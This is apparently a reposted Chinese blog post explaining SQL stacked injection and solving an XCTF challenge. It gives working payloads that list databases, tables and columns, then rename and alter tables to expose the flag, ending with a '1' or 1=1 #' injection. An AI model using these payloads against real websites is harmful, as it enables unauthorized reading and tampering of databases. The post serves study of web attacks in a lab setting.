sql堆疊注入


常規注入是只能有一個語句被系統帶進數據庫查詢或增刪改。堆疊注入是個例外,即在原語句后加上分號,然后在后面輸入另外的數據庫操作語句,可以被系統帶入數據庫執行並回顯,但堆疊注入的使用場景有限,可能受到API或者數據庫引擎,又或者權限的限制只有當調用數據庫函數支持執行多條sql語句時才能夠使用,利用mysqli_multi_query()函數就支持多條sql語句同時執行,但實際情況中,如PHP為了防止sql注入機制,往往使用調用數據庫的函數是mysqli_ query()函數,其只能執行一條語句,分號后面的內容將不會被執行,所以可以說堆疊注入的使用條件十分有限,一旦能夠被使用,將可能對網站造成十分大的威脅。

XCTF題解

先添加一個單引號,報錯,錯誤信息如下:

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

接着測試--+注釋,發現被過濾,然后使用#注釋,可行 用order by語句判斷出有兩個字段,接着使用union select 爆字段,發現這個時候出現了如下提示:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

發現上面的關鍵字都被過濾不能使用了,沒法進行注入,這個時候嘗試一下堆疊注入

現在回到這道題,利用堆疊注入,查詢所有數據庫:

1';show databases;#

查詢所有表:

1';show tables;#

查詢words表中所有列:

1';show columns from words;#

查詢1919810931114514表中所有列

1';show columns from `1919810931114514`;# (字符串為表名操作時要加反引號)

根據兩個表的情況結合實際查詢出結果的情況判斷出words是默認查詢的表,因為查詢出的結果是一個數字加一個字符串,words表結構是id和data,傳入的inject參數也就是賦值給了id

這道題沒有禁用rename和alert,所以我們可以采用修改表結構的方法來得到flag 將words表名改為words1,再將數字名表改為words,這樣數字名表就是默認查詢的表了,但是它少了一個id列,可以將flag字段改為id,或者添加id字段

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

這段代碼的意思是將words表名改為words1,1919810931114514表名改為words,將現在的words表中的flag列名改為id 然后用1' or 1=1 #得到flag

參考:https://www.jianshu.com/p/c50ced83414d


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM